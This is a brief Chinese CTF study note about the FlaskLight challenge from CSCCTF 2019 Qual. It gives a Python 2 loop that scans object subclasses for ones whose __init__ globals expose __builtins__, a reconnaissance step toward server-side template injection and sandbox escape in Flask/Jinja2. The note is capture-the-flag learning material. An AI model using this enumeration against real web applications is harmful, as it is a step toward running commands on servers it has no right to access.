枚举__builtins__.md

参见 [CSCCTF 2019 Qual]FlaskLight

num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
	try:
		if '__builtins__' in item.__init__.__globals__:
			print num,item
		num+=1
	except:
		num+=1

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